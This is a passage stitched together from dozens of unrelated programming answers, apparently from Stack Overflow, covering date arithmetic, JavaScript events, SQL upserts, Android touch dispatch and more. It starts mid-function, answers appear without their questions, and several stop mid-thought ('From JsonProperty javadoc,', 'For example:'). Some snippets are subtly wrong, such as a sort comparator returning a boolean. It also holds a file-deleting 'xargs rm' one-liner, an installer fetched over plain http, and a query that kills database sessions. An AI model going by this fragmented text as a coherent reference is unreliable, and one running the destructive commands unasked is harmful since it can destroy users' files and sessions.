        int tld = (int)((end - start).TotalDays) + 1; //including end day
        int not_buss_day = 2 * (tld / 7); //Saturday and Sunday
        int rest = tld % 7; //rest.

        if (rest > 0)
        {
            int tmp = (int)start.DayOfWeek - 1 + rest;
            if (tmp == 6 || start.DayOfWeek == DayOfWeek.Sunday) not_buss_day++; else if (tmp > 6) not_buss_day += 2;
        }

        foreach (DateTime bankHoliday in bankHolidays)
        {
            DateTime bh = bankHoliday.Date;
            if (!(bh.DayOfWeek == DayOfWeek.Saturday || bh.DayOfWeek == DayOfWeek.Sunday) && (start <= bh && bh <= end))
            {
                not_buss_day++;
            }
        }
        return tld - not_buss_day;
    }

In Typescript 1.5 and later, you can use for..of as opposed to for..in

var numbers = [1, 2, 3];

for (var number of numbers) {
    console.log(number);
}

Works for me perfect:

    values.put(DBHelper.COLUMN_RECEIVEDATE, geo.getReceiveDate().getTime());

Save your date as a long.

You can do in this way:

    Integer i = 1;
    new BigInteger("" + i);

this is the key (vs evt.target). See example.

document.body.addEventListener("click", function (evt) {_x000D_
    console.dir(this);_x000D_
    //note evt.target can be a nested element, not the body element, resulting in misfires_x000D_
    console.log(evt.target);_x000D_
    alert("body clicked");_x000D_
});

<h4>This is a heading.</h4>_x000D_
<p>this is a paragraph.</p>

Have you tried the Interpolation syntax?

background: url(#{$get-path-to-assets}/site/background.jpg) repeat-x fixed 0 0;

I came across this myself. I used .on so it looks a bit different but I did this:

 $('#element').on('keypress', function() {
   //code to be executed
 }).on('keydown', function(e) {
   if (e.keyCode==8)
     $('element').trigger('keypress');
 });

Adding my Work Around here. I needed to delete ssn typed by user so i did this in jQuery

  $(this).bind("keydown", function (event) {
        // Allow: backspace, delete
        if (event.keyCode == 46 || event.keyCode == 8) 
        {
            var tempField = $(this).attr('name');
            var hiddenID = tempField.substr(tempField.indexOf('_') + 1);
            $('#' + hiddenID).val('');
            $(this).val('')
            return;
        }  // Allow: tab, escape, and enter
        else if (event.keyCode == 9 || event.keyCode == 27 || event.keyCode == 13 ||
        // Allow: Ctrl+A
        (event.keyCode == 65 && event.ctrlKey === true) ||
        // Allow: home, end, left, right
        (event.keyCode >= 35 && event.keyCode <= 39)) {
            // let it happen, don't do anything
            return;
        }
        else 
        {
            // Ensure that it is a number and stop the keypress
            if (event.shiftKey || (event.keyCode < 48 || event.keyCode > 57) &&       (event.keyCode < 96 || event.keyCode > 105)) 
            {
                event.preventDefault();
            }
        }
    });

I've written a very simple extension method on DateTime and DateTimeOffset to do this. I wanted it to work exactly like a TotalMonths property on TimeSpan would work: i.e. return the count of complete months between two dates, ignoring any partial months. Because it's based on DateTime.AddMonths() it respects different month lengths and returns what a human would understand as a period of months.

(Unfortunately you can't implement it as an extension method on TimeSpan because that doesn't retain knowledge of the actual dates used, and for months they're important.)

The code and tests are both available on GitHub. The code is very simple:

public static int GetTotalMonthsFrom(this DateTime dt1, DateTime dt2)
{
    DateTime earlyDate = (dt1 > dt2) ? dt2.Date : dt1.Date;
    DateTime lateDate = (dt1 > dt2) ? dt1.Date : dt2.Date;

    // Start with 1 month's difference and keep incrementing
    // until we overshoot the late date
    int monthsDiff = 1;
    while (earlyDate.AddMonths(monthsDiff) <= lateDate)
    {
        monthsDiff++;
    }

    return monthsDiff - 1;
}

And it passes all these unit test cases:

// Simple comparison
Assert.AreEqual(1, new DateTime(2014, 1, 1).GetTotalMonthsFrom(new DateTime(2014, 2, 1)));
// Just under 1 month's diff
Assert.AreEqual(0, new DateTime(2014, 1, 1).GetTotalMonthsFrom(new DateTime(2014, 1, 31)));
// Just over 1 month's diff
Assert.AreEqual(1, new DateTime(2014, 1, 1).GetTotalMonthsFrom(new DateTime(2014, 2, 2)));
// 31 Jan to 28 Feb
Assert.AreEqual(1, new DateTime(2014, 1, 31).GetTotalMonthsFrom(new DateTime(2014, 2, 28)));
// Leap year 29 Feb to 29 Mar
Assert.AreEqual(1, new DateTime(2012, 2, 29).GetTotalMonthsFrom(new DateTime(2012, 3, 29)));
// Whole year minus a day
Assert.AreEqual(11, new DateTime(2012, 1, 1).GetTotalMonthsFrom(new DateTime(2012, 12, 31)));
// Whole year
Assert.AreEqual(12, new DateTime(2012, 1, 1).GetTotalMonthsFrom(new DateTime(2013, 1, 1)));
// 29 Feb (leap) to 28 Feb (non-leap)
Assert.AreEqual(12, new DateTime(2012, 2, 29).GetTotalMonthsFrom(new DateTime(2013, 2, 28)));
// 100 years
Assert.AreEqual(1200, new DateTime(2000, 1, 1).GetTotalMonthsFrom(new DateTime(2100, 1, 1)));
// Same date

Graphs are tough, because most non-trivial graph problems tend to require a decent amount of actual code to implement, if more than a sketch of an algorithm is required. A lot of it tends to come down to whether or not the candidate knows the shortest path and graph traversal algorithms, is familiar with cycle types and detection, and whether they know the complexity bounds. I think a lot of questions about this stuff comes down to trivia more than on the spot creative thinking ability.

I think problems related to trees tend to cover most of the difficulties of graph questions, but without as much code complexity.

I like the Project Euler problem that asks to find the most expensive path down a tree (16/67); common ancestor is a good warm up, but a lot of people have seen it. Asking somebody to design a tree class, perform traversals, and then figure out from which traversals they could rebuild a tree also gives some insight into data structure and algorithm implementation. The Stern-Brocot programming challenge is also interesting and quick to develop on a board (http://online-judge.uva.es/p/v100/10077.html).

I was also trying to achieve this. From above codes, what I understood was that you can call getch() function multiple times in order to get both bytes getting from the function. So the ord() function is not necessary if you are just looking to use with byte objects.

while True :
    if m.kbhit() :
        k = m.getch()
        if b'\r' == k :
            break
        elif k == b'\x08'or k == b'\x1b':
            # b'\x08' => BACKSPACE
            # b'\x1b' => ESC
            pass
        elif k == b'\xe0' or k == b'\x00':
            k = m.getch()
            if k in [b'H',b'M',b'K',b'P',b'S',b'\x08']:
                # b'H' => UP ARROW
                # b'M' => RIGHT ARROW
                # b'K' => LEFT ARROW
                # b'P' => DOWN ARROW
                # b'S' => DELETE
                pass
            else:
                print(k.decode(),end='')
        else:
            print(k.decode(),end='')

This code will work print any key until enter key is pressed in CMD or IDE (I was using VS CODE) You can customize inside the if for specific keys if needed

Given exportPath and queryResults as String variables, the following block creates a results.zip file under exportPath and writes the content of queryResults to a results.txt file inside the zip.

URI uri = URI.create("jar:file:" + exportPath + "/results.zip");
Map<String, String> env = Collections.singletonMap("create", "true");

try (FileSystem zipfs = FileSystems.newFileSystem(uri, env)) {
  Path filePath = zipfs.getPath("/results.txt");
  byte[] fileContent = queryResults.getBytes();

  Files.write(filePath, fileContent, StandardOpenOption.CREATE);
}

This is the version that works in IE 9.

Whilst the accepted answer works and is good for Linq to Objects it bugged me that the SQL query isn't just a straight Left Outer Join.

The following code relies on the LinkKit Project that allows you to pass expressions and invoke them to your query.

static IQueryable<TResult> LeftOuterJoin<TSource,TInner, TKey, TResult>(
     this IQueryable<TSource> source, 
     IQueryable<TInner> inner, 
     Expression<Func<TSource,TKey>> sourceKey, 
     Expression<Func<TInner,TKey>> innerKey, 
     Expression<Func<TSource, TInner, TResult>> result
    ) {
    return from a in source.AsExpandable()
            join b in inner on sourceKey.Invoke(a) equals innerKey.Invoke(b) into c
            from d in c.DefaultIfEmpty()
            select result.Invoke(a,d);
}

It can be used as follows

Table1.LeftOuterJoin(Table2, x => x.Key1, x => x.Key2, (x,y) => new { x,y});

class MyClass():
    def __init__(self, a, b):
        self.value1 = a
        self.value2 = b

    def __call__(self):
        return [self.value1, self.value2]

Testing:

>>> x = MyClass('foo','bar')
>>> x()
['foo', 'bar']

Try to change like this ..

firstStr = "<?xml version" 'my file always starts like this

Do until objInputFile.AtEndOfStream  

    strToAdd = "<tr><td><a href=" & chr(34) & "../../Logs/DD/Beginning_of_DD_TC" & CStr(index) & ".html" & chr(34) & ">Beginning_of_DD_TC" & CStr(index) & "</a></td></tr>"  

   substrToFind = "<tr><td><a href=" & chr(34) & "../Test case " & trim(cstr((index)))

   tmpStr = objInputFile.ReadLine

   If InStr(tmpStr, substrToFind) <= 0 Then
       If Instr(tmpStr, firstStr) > 0 Then
          text = tmpStr 'to avoid the first empty line
       Else
          text = text & vbCrLf & tmpStr
       End If
   Else
      text = text & vbCrLf & strToAdd & vbCrLf & tmpStr

   End If
   index = index + 1
Loop

The one line:

Object.entries(unordered)
  .sort(([keyA], [keyB]) => keyA > keyB)
  .reduce((obj, [key,value]) => Object.assign(obj, {[key]: value}), {})

OK.. We needed to compare a dynamic number of product names...

There's probably a better way... but this works for me...

... because....Strings are just Arrays of characters.... :>}

//  Compare Strings ...  Return Matching Text and Differences with Product IDs...

//  From MySql...
$productID1 = 'abc123';
$productName1 = "EcoPlus Premio Jet 600";   

$productID2 = 'xyz789';
$productName2 = "EcoPlus Premio Jet 800";   

$ProductNames = array(
    $productID1 => $productName1,
    $productID2 => $productName2
);


function compareNames($ProductNames){   

    //  Convert NameStrings to Arrays...    
    foreach($ProductNames as $id => $product_name){
        $Package1[$id] = explode(" ",$product_name);    
    }

    // Get Matching Text...
    $Matching = call_user_func_array('array_intersect', $Package1 );
    $MatchingText = implode(" ",$Matching);

    //  Get Different Text...
    foreach($Package1 as $id => $product_name_chunks){
        $Package2 = array($product_name_chunks,$Matching);
        $diff = call_user_func_array('array_diff', $Package2 );
        $DifferentText[$id] = trim(implode(" ", $diff));
    }

    $results[$MatchingText]  = $DifferentText;              
    return $results;    
}

$Results =  compareNames($ProductNames);

print_r($Results);

// Gives us this...
[EcoPlus Premio Jet] 
        [abc123] => 600
        [xyz789] => 800

This is actually on the main page of nltk.org:

>>> import nltk
>>> sentence = """At eight o'clock on Thursday morning
... Arthur didn't feel very good."""
>>> tokens = nltk.word_tokenize(sentence)
>>> tokens
['At', 'eight', "o'clock", 'on', 'Thursday', 'morning',
'Arthur', 'did', "n't", 'feel', 'very', 'good', '.']

Suffered from exact issue. Problem was because of NameValueSectionHandler in .config file. You should use AppSettingsSection instead:

<configuration>

 <configSections>
    <section  name="DEV" type="System.Configuration.AppSettingsSection" />
    <section  name="TEST" type="System.Configuration.AppSettingsSection" />
 </configSections>

 <TEST>
    <add key="key" value="value1" />
 </TEST>

 <DEV>
    <add key="key" value="value2" />
 </DEV>

</configuration>

then in C# code:

AppSettingsSection section = (AppSettingsSection)ConfigurationManager.GetSection("TEST");

btw NameValueSectionHandler is not supported any more in 2.0.

If you don't already have a C/C++ development environment installed that is compatible with the Visual Studio binaries distributed by Python.org, then you should stick to installing only pure Python packages or packages for which a Windows binary is available.

Fortunately, there are PyCrypto binaries available for Windows: http://www.voidspace.org.uk/python/modules.shtml#pycrypto

UPDATE:
As @Udi suggests in the comment below, the following command also installs pycrypto and can be used in virtualenv as well:

easy_install http://www.voidspace.org.uk/python/pycrypto-2.6.1/pycrypto-2.6.1.win32-py2.7.exe

Notice to choose the relevant link for your setup from this list

Before update SDK components, check in Android SDK Manager ? Tools ? Options and set HTTP proxy and port if it is set in local LAN.

In the same idea of Nick Riggs but I create a constructor, and a push a new object in the array by using it. It avoid the repetition of the keys of the class:

var arr = [];
var columnDefs = function(key, sortable, resizeable){
    this.key = key; 
    this.sortable = sortable; 
    this.resizeable = resizeable;
    };

for (var i = 0; i < len; i++) {
    arr.push((new columnDefs(oFullResponse.results[i].label,true,true)));
}

For JavaScript Formatting I use Notepad ++ JSMin Plugin.Quite Handy

Google threw out this page to the "image fallback html" keywords, but because non of the above helped me, and I was looking for a "svg fallback support for IE below 9", I kept on searching and this is what I found:

<img src="base-image.svg" alt="picture" />
<!--[if (lte IE 8)|(!IE)]><image src="fallback-image.png" alt="picture" /><![endif]-->

It might be off-topic, but it resolved my own issue and it might help someone else too.

It really depends on how long the NVARCHAR is, as a few of the above (especially the ones that convert through IntXX) methods will not work for:

String s = "005780327584329067506780657065786378061754654532164953264952469215462934562914562194562149516249516294563219437859043758430587066748932647329814687194673219673294677438907385032758065763278963247982360675680570678407806473296472036454612945621946";

Something like this would

String s ="0000058757843950000120465875468465874567456745674000004000".TrimStart(new Char[] { '0' } );
// s = "58757843950000120465875468465874567456745674000004000"

Like @Maximiliangerhardt said, MiniJson do not have the capability to deserialize properly. I used JsonFx and works like a charm. Works with the []

player[] p = JsonReader.Deserialize<player[]>(serviceData);
Debug.Log(p[0].playerId +" "+ p[0].playerLoc+"--"+ p[1].playerId + " " + p[1].playerLoc+"--"+ p[2].playerId + " " + p[2].playerLoc);

hg status will show you all the new files, and then you can just rm them.

Normally I want to get rid of ignored and unversioned files, so:

hg status -iu                          # to show 
hg status -iun0 | xargs -r0 rm         # to destroy

And then follow that with:

hg update -C -r xxxxx

which puts all the versioned files in the right state for revision xxxx

To follow the Stack Overflow tradition of telling you that you don't want to do this, I often find that this "Nuclear Option" has destroyed stuff I care about.

The right way to do it is to have a 'make clean' option in your build process, and maybe a 'make reallyclean' and 'make distclean' too.

set myPATH="C:\Users\DEB\Downloads\10.1.1.0.4"
cd %myPATH%

• The single quotes do not indicate a string, they make it starts: 'C:\ instead of C:\ so

• %name% is the usual syntax for expanding a variable, the !name! syntax needs to be enabled using the command setlocal ENABLEDELAYEDEXPANSION first, or by running the command prompt with CMD /V:ON.

• Don't use PATH as your name, it is a system name that contains all the locations of executable programs. If you overwrite it, random bits of your script will stop working. If you intend to change it, you need to do set PATH=%PATH%;C:\Users\DEB\Downloads\10.1.1.0.4 to keep the current PATH content, and add something to the end.

the OOP way to do this in ES5 is to make that variable into a property using the this keyword.

function first(){
    this.nameContent=document.getElementById('full_name').value;
}

function second() {
    y=new first();
    alert(y.nameContent);
}

In MS-SQL Server 7+:

SELECT count(*)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'mytable'

This solved it for me:

The Android documentation for SSLSocket says that TLS 1.1 and TLS 1.2 is supported within android starting API level 16+ (Android 4.1, Jelly Bean). But it is by default disabled but starting with API level 20+ (Android 4.4 for watch, Kitkat Watch and Android 5.0 for phone, Lollipop) they are enabled. But it is very hard to find any documentation about how to enable it for phones running 4.1 for example. To enable TLS 1.1 and 1.2 you need to create a custom SSLSocketFactory that is going to proxy all calls to a default SSLSocketFactory implementation. In addition to that do we have to override all createSocket methods and callsetEnabledProtocols on the returned SSLSocket to enable TLS 1.1 and TLS 1.2. For an example implementation just follow the link below.

android 4.1. enable tls1.1 and tls 1.2

This is because Oracle internally changes empty string to NULL values. Oracle simply won't let insert an empty string.

On the other hand, SQL Server would let you do what you are trying to achieve.

There are 2 workarounds here:

1. Use another column that states whether the 'description' field is valid or not
2. Use some dummy value for the 'description' field where you want it to store empty string. (i.e. set the field to be 'stackoverflowrocks' assuming your real data will never encounter such a description value)

Both are, of course, stupid workarounds :)

There are methods like WriteAllText in the File class for common operations on files.

Use the MapPath method to get the physical path for a file in your web application.

File.WriteAllText(Server.MapPath("~/data.txt"), TextBox1.Text);

Your mileage may vary (mine sure did), but here's what worked for me (current version of Chrome as of this post is 33.x, and I was interested in 24.x)

• Visit the Chromium repo proxy lookup site: http://omahaproxy.appspot.com/

• In the little box called "Revision Lookup" type in the version number. This will translate it to a Subversion revision number. Keep that number in mind.

• Visit the build repository: http://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html

• Select the folder corresponding to the OS you're interested in (I have Win x64, but had to use Win,because there was no x64 build corresponding to the version I was looking for).

• If you select Win, you could be in for a wait - as some of the pages have a lot of entries. Once the page loads, scroll to the folder containing the revision number you identified in an earlier step. If you don't find one, choose the next one up. This is a bit of trial and error to be honest - I had to back up about 50 revisions until I found a version close to the one I was looking for

• Drill into that folder and download (on the Win version) chrome-win32.zip. That's all you need.

• Unzip that file and then run chrome.exe

This worked for me and I'm running the latest Chrome alongside version 25, without problems (some profile issues on the older version, but that's neither here nor there). Didn't need to do anything else.

Again, YMMV, but try this solution first since it requires the least amount of tomfoolery.

To be absolutely clear... what you describe does not conflict with the spec in any way. The spec talks about the values Hibernate assigns to your entities, not the values actually stored in the database sequence.

However, there is the option to get the behavior you are looking for. First see my reply on Is there a way to dynamically choose a @GeneratedValue strategy using JPA annotations and Hibernate? That will give you the basics. As long as you are set up to use that SequenceStyleGenerator, Hibernate will interpret allocationSize using the "pooled optimizer" in the SequenceStyleGenerator. The "pooled optimizer" is for use with databases that allow an "increment" option on the creation of sequences (not all databases that support sequences support an increment). Anyway, read up about the various optimizer strategies there.

Keep a reference to the timer somewhere, and use:

timer.cancel();
timer.purge();

to stop whatever it's doing. You could put this code inside the task you're performing with a static int to count the number of times you've gone around, e.g.

private static int count = 0;
public static void run() {
     count++;
     if (count >= 6) {
         timer.cancel();
         timer.purge();
         return;
     }

     ... perform task here ....

In our current project at work we had a invisible iFrame and I had to feed the url for the file to the iFrame to get a download dialog box. On the button click, the controller generates the dynamic url and triggers a $scope event where a custom directive I wrote, is listing. The directive will append a iFrame to the body if it does not exist already and sets the url attribute on it.

EDIT: Adding a directive

appModule.directive('fileDownload', function ($compile) {
    var fd = {
        restrict: 'A',
        link: function (scope, iElement, iAttrs) {

            scope.$on("downloadFile", function (e, url) {
                var iFrame = iElement.find("iframe");
                if (!(iFrame && iFrame.length > 0)) {
                    iFrame = $("<iframe style='position:fixed;display:none;top:-1px;left:-1px;'/>");
                    iElement.append(iFrame);
                }

                iFrame.attr("src", url);


            });
        }
    };

    return fd;
});

This directive responds to a controller event called downloadFile

so in your controller you do

$scope.$broadcast("downloadFile", url);

To keep the aspect ratio you have to use android:scaleType=fitCenter or fitStart etc. Using fitXY will not keep the original aspect ratio of the image!

Note this works only for images with a src attribute, not for the background image.

Here's another issue that took me a bit of time: The command line class path param doesn't behave as you'd expect. I'm on MacOS calling the CLI directly, and I'm including two jars in the call.

For example, both of these were confusing the tool about the name of the main class:

This one because the asterisk was causing it to parse the args incorrectly:

java -cp path/to/jars/* com.mypackage.Main

And this one because -- I'm not sure why:

java -cp "*.jar" com.mypackage.Main

This worked:

java -cp "path/to/jars/*" com.mypackage.Main

Listing the two jars explicitly also worked:

java -cp path/to/jars/jar1.jar:path/to/jars/jar2.jar com.mypackage.Main

A tag represents a version of a particular branch at a moment in time. A branch represents a separate thread of development that may run concurrently with other development efforts on the same code base. Changes to a branch may eventually be merged back into another branch to unify them.

Usually you'll tag a particular version so that you can recreate it, e.g., this is the version we shipped to XYZ Corp. A branch is more of a strategy to provide on-going updates on a particular version of the code while continuing to do development on it. You'll make a branch of the delivered version, continue development on the main line, but make bug fixes to the branch that represents the delivered version. Eventually, you'll merge these bug fixes back into the main line. Often you'll use both branching and tagging together. You'll have various tags that may apply both to the main line and its branches marking particular versions (those delivered to customers, for instance) along each branch that you may want to recreate -- for delivery, bug diagnosis, etc.

It's actually more complicated than this -- or as complicated as you want to make it -- but these examples should give you an idea of the differences.

The best place to demystify this is the source code. The docs are woefully inadequate about explaining this.

dispatchTouchEvent is actually defined on Activity, View and ViewGroup. Think of it as a controller which decides how to route the touch events.

For example, the simplest case is that of View.dispatchTouchEvent which will route the touch event to either OnTouchListener.onTouch if it's defined or to the extension method onTouchEvent.

For ViewGroup.dispatchTouchEvent things are way more complicated. It needs to figure out which one of its child views should get the event (by calling child.dispatchTouchEvent). This is basically a hit testing algorithm where you figure out which child view's bounding rectangle contains the touch point coordinates.

But before it can dispatch the event to the appropriate child view, the parent can spy and/or intercept the event all together. This is what onInterceptTouchEvent is there for. So it calls this method first before doing the hit testing and if the event was hijacked (by returning true from onInterceptTouchEvent) it sends a ACTION_CANCEL to the child views so they can abandon their touch event processing (from previous touch events) and from then onwards all touch events at the parent level are dispatched to onTouchListener.onTouch (if defined) or onTouchEvent(). Also in that case, onInterceptTouchEvent is never called again.

Would you even want to override [Activity|ViewGroup|View].dispatchTouchEvent? Unless you are doing some custom routing you probably should not.

The main extension methods are ViewGroup.onInterceptTouchEvent if you want to spy and/or intercept touch event at the parent level and View.onTouchListener/View.onTouchEvent for main event handling.

All in all its overly complicated design imo but android apis lean more towards flexibility than simplicity.

By default, np.genfromtxt uses dtype=float: that's why you string columns are converted to NaNs because, after all, they're Not A Number...

You can ask np.genfromtxt to try to guess the actual type of your columns by using dtype=None:

>>> from StringIO import StringIO
>>> test = "a,1,2\nb,3,4"
>>> a = np.genfromtxt(StringIO(test), delimiter=",", dtype=None)
>>> print a
array([('a',1,2),('b',3,4)], dtype=[('f0', '|S1'),('f1', '<i8'),('f2', '<i8')])

You can access the columns by using their name, like a['f0']...

Using dtype=None is a good trick if you don't know what your columns should be. If you already know what type they should have, you can give an explicit dtype. For example, in our test, we know that the first column is a string, the second an int, and we want the third to be a float. We would then use

>>> np.genfromtxt(StringIO(test), delimiter=",", dtype=("|S10", int, float))
array([('a', 1, 2.0), ('b', 3, 4.0)], 
      dtype=[('f0', '|S10'), ('f1', '<i8'), ('f2', '<f8')])

Using an explicit dtype is much more efficient than using dtype=None and is the recommended way.

In both cases (dtype=None or explicit, non-homogeneous dtype), you end up with a structured array.

[Note: With dtype=None, the input is parsed a second time and the type of each column is updated to match the larger type possible: first we try a bool, then an int, then a float, then a complex, then we keep a string if all else fails. The implementation is rather clunky, actually. There had been some attempts to make the type guessing more efficient (using regexp), but nothing that stuck so far]

I think not only is the question not clear but most people also are not cognizant of the difference. Examine the following saying,

POSIX thread IDs are not the same as the thread IDs returned by the Linux specific gettid() system call. POSIX thread IDs are assigned and maintained by the threading implementation. The thread ID returned by gettid() is a number (similar to a process ID) that is assigned by the kernel. Although each POSIX thread has a unique kernel thread ID in the Linux NPTL threading implementation, an application generally doesn’t need to know about the kernel IDs (and won’t be portable if it depends on knowing them).

Excerpted from: The Linux Programming Interface: A Linux and UNIX System Programming Handbook, Michael Kerrisk

IMHO, there is only one portable way that pass a structure in which define a variable holding numbers in an ascending manner e.g. 1,2,3... to per thread. By doing this, threads' id can be kept track. Nonetheless, int pthread_equal(tid1, tid2) function should be used.

if (pthread_equal(tid1, tid2)) printf("Thread 2 is same as thread 1.\n");
else printf("Thread 2 is NOT same as thread 1.\n");

I think groupby should work.

df.groupby(['A', 'B']).max()['C']

If you need a dataframe back you can chain the reset index call.

df.groupby(['A', 'B']).max()['C'].reset_index()

I needed an example using React.Component so I am posting it:

import React from 'react';
import * as Redux from 'react-redux';

class NavigationHeader extends React.Component {

}

const mapStateToProps = function (store) {
    console.log(`mapStateToProps ${store}`);
    return {
        navigation: store.navigation
    };
};

export default Redux.connect(mapStateToProps)(NavigationHeader);

Although its pretty late to comment on this I want to add a more complete example using MERGE.

Such Insert+Update statements are usually called "Upsert" statements and can be implemented using MERGE in SQL Server.

A very good example is given here: http://weblogs.sqlteam.com/dang/archive/2009/01/31/UPSERT-Race-Condition-With-MERGE.aspx

The above explains locking and concurrency scenarios as well.

I will be quoting the same for reference:

ALTER PROCEDURE dbo.Merge_Foo2
      @ID int
AS

SET NOCOUNT, XACT_ABORT ON;

MERGE dbo.Foo2 WITH (HOLDLOCK) AS f
USING (SELECT @ID AS ID) AS new_foo
      ON f.ID = new_foo.ID
WHEN MATCHED THEN
    UPDATE
            SET f.UpdateSpid = @@SPID,
            UpdateTime = SYSDATETIME()
WHEN NOT MATCHED THEN
    INSERT
      (
            ID,
            InsertSpid,
            InsertTime
      )
    VALUES
      (
            new_foo.ID,
            @@SPID,
            SYSDATETIME()
      );

RETURN @@ERROR;

I had the same problem as you.

Here's what I did (dynamically generated GET form with action set to location.href, hidden input with fresh value), and it seems to work in all browsers:

var elForm=document.createElement("form");
elForm.setAttribute("method", "get");
elForm.setAttribute("action", window.location.href);

var elInputHidden=document.createElement("input");
elInputHidden.setAttribute("type", "hidden");
elInputHidden.setAttribute("name", "r");
elInputHidden.setAttribute("value", new Date().getTime());
elForm.appendChild(elInputHidden);

if(window.location.href.indexOf("?")>=0)
{
    var _arrNameValue;
    var strRequestVars=window.location.href.substr(window.location.href.indexOf("?")+1);
    var _arrRequestVariablePairs=strRequestVars.split("&");
    for(var i=0; i<_arrRequestVariablePairs.length; i++)
    {
        _arrNameValue=_arrRequestVariablePairs[i].split("=");

        elInputHidden=document.createElement("input");
        elInputHidden.setAttribute("type", "hidden");
        elInputHidden.setAttribute("name", decodeURIComponent(_arrNameValue.shift()));
        elInputHidden.setAttribute("value", decodeURIComponent(_arrNameValue.join("=")));
        elForm.appendChild(elInputHidden);
    }
}

document.body.appendChild(elForm);
elForm.submit();

This is plain Javascript and has nothing to do with the jQuery library.

You simply escape the apostrophe with a backslash:

theAnchorText = 'I\'m home';

Another alternative is to use quotation marks around the string, then you don't have to escape apostrophes:

theAnchorText = "I'm home";

For webpack 1 or 2 with Bootstrap 4 you need

new webpack.ProvidePlugin({
   $: 'jquery',
   jQuery: 'jquery',
   Tether: 'tether'
})

Using GNU sed:

sed 's/.*/\L&/'

Example:

$ foo="Some STRIng";
$ foo=$(echo "$foo" | sed 's/.*/\L&/')
$ echo "$foo"
some string

Yes. I've been able to do this by setting the HttpGet/HttpPost (or equivalent AcceptVerbs attribute) for each controller method to something distinct, i.e., HttpGet or HttpPost, but not both. That way it can tell based on the type of request which method to use.

[HttpGet]
public ActionResult Show()
{
   ...
}

[HttpPost]
public ActionResult Show( string userName )
{
   ...
}

One suggestion I have is that, for a case like this, would be to have a private implementation that both of your public Action methods rely on to avoid duplicating code.

Apple has simplified our building process, so you don't need to click on the same checkbox every time. You can streamline your iTC flow by compiling this flag into the app.

This is still the case as of 2019.

As stated here: Package names are written in all lower case to avoid conflict with the names of classes or interfaces.

Companies use their reversed Internet domain name to begin their package names—for example, com.example.mypackage for a package named mypackage created by a programmer at example.com.

Name collisions that occur within a single company need to be handled by convention within that company, perhaps by including the region or the project name after the company name (for example, com.example.region.mypackage).

Packages in the Java language itself begin with java. or javax.

In some cases, the internet domain name may not be a valid package name. This can occur if the domain name contains a hyphen or other special character, if the package name begins with a digit or other character that is illegal to use as the beginning of a Java name, or if the package name contains a reserved Java keyword, such as "int". In this event, the suggested convention is to add an underscore. For example:

I wrote a simple Angular Directive that's been working well for us.

Here's a demo: http://jsbin.com/tesido/edit?html,js,output

Directive (for Bootstrap 3):

// registers native Twitter Bootstrap 3 tooltips
app.directive('bootstrapTooltip', function() {
  return function(scope, element, attrs) {
    attrs.$observe('title',function(title){
      // Destroy any existing tooltips (otherwise new ones won't get initialized)
      element.tooltip('destroy');
      // Only initialize the tooltip if there's text (prevents empty tooltips)
      if (jQuery.trim(title)) element.tooltip();
    })
    element.on('$destroy', function() {
      element.tooltip('destroy');
      delete attrs.$$observers['title'];
    });
  }
});

Note: If you're using Bootstrap 4, on lines 6 & 11 above you'll need to replace tooltip('destroy') with tooltip('dispose') (Thanks to user1191559 for this upadate)

Simply add bootstrap-tooltip as an attribute to any element with a title. Angular will monitor for changes to the title but otherwise pass the tooltip handling over to Bootstrap.

This also allows you to use any of the native Bootstrap Tooltip Options as data- attributes in the normal Bootstrap way.

Markup:

<div bootstrap-tooltip data-placement="left" title="Tooltip on left">
        Tooltip on left
</div>

Clearly this doesn't have all the elaborate bindings & advanced integration that AngularStrap and UI Bootstrap offer, but it's a good solution if you're already using Bootstrap's JS in your Angular app and you just need a basic tooltip bridge across your entire app without modifying controllers or managing mouse events.

Yes there is, since setState works in an asynchronous way. That means after calling setState the this.state variable is not immediately changed. so if you want to perform an action immediately after setting state on a state variable and then return a result, a callback will be useful

Consider the example below

....
changeTitle: function changeTitle (event) {
  this.setState({ title: event.target.value });
  this.validateTitle();
},
validateTitle: function validateTitle () {
  if (this.state.title.length === 0) {
    this.setState({ titleError: "Title can't be blank" });
  }
},
....

The above code may not work as expected since the title variable may not have mutated before validation is performed on it. Now you may wonder that we can perform the validation in the render() function itself but it would be better and a cleaner way if we can handle this in the changeTitle function itself since that would make your code more organised and understandable

In this case callback is useful

....
changeTitle: function changeTitle (event) {
  this.setState({ title: event.target.value }, function() {
    this.validateTitle();
  });

},
validateTitle: function validateTitle () {
  if (this.state.title.length === 0) {
    this.setState({ titleError: "Title can't be blank" });
  }
},
....

Another example will be when you want to dispatch and action when the state changed. you will want to do it in a callback and not the render() as it will be called everytime rerendering occurs and hence many such scenarios are possible where you will need callback.

Another case is a API Call

A case may arise when you need to make an API call based on a particular state change, if you do that in the render method, it will be called on every render onState change or because some Prop passed down to the Child Component changed.

In this case you would want to use a setState callback to pass the updated state value to the API call

....
changeTitle: function (event) {
  this.setState({ title: event.target.value }, () => this.APICallFunction());
},
APICallFunction: function () {
  // Call API with the updated value
}
....

You could kill all connections before dropping the database using the pg_terminate_backend(int) function.

You can get all running backends using the system view pg_stat_activity

I'm not entirely sure, but the following would probably kill all sessions:

select pg_terminate_backend(procpid)
from pg_stat_activity
where datname = 'doomed_database'

Of course you may not be connected yourself to that database

I spent a day messing with CSS before I found anataliocs tip. Add wmode=transparent as a parameter to the YouTube URL:

<iframe title=<your frame title goes here> 
    src="http://www.youtube.com/embed/K3j9taoTd0E?wmode=transparent"  
    scrolling="no" 
    frameborder="0" 
    width="640" 
    height="390" 
    style="border:none;">
</iframe>

This allows the iframe to inherit the z-index of its container so your opaque <div> would be in front of the iframe.

I want to throw in another solution that looks nice and is fast for short lists.

def mc(seq=L):
    "max/count"
    max_element = max(seq, key=seq.count)
    return (max_element, seq.count(max_element))

You can benchmark this with the code provided by Ned Deily which will give you these results for the smallest test case:

But beware, it is inefficient and thus gets really slow for large lists!

From JsonProperty javadoc,

1. Use a single body parameter within the mailto string
2. Use %0D%0A as newline

The mailto URI Scheme is specified by by RFC2368 (July 1998) and RFC6068 (October 2010).
Below is an extract of section 5 of this last RFC:

[...] line breaks in the body of a message MUST be encoded with "%0D%0A".
Implementations MAY add a final line break to the body of a message even if there is no trailing "%0D%0A" in the body [...]

See also in section 6 the example from the same RFC:

<mailto:[email protected]?body=send%20current-issue%0D%0Asend%20index>

The above mailto body corresponds to:

send current-issue
send index

In adition to the other answers mentioning the Tasks view:

It is also possible to filter the Tasks that are listed to only show the TODOs that contain the text // TODO Auto-generated method stub.

To achieve this you can click on the Filters... button in the top right of the Tasks View and define custom filters like this:

